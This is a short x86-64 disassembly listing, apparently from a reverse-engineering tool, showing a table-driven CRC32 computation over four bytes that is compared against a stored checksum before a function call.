mov rax, qword [rsi + 0x108]
lea rdx, [0x14016a5d0]
movsxd r8, dword [rsi + 0x100]
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, dil
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x39]
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3a]
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3b]
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [rdx + rcx*4]
mov rcx, qword [rsi]
not ebx
cmp dword [rcx + 0x4084], ebx
jne 0x140009747
mov r8, rdi
mov edx, 4
mov ecx, ebx
call fcn.140020590
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret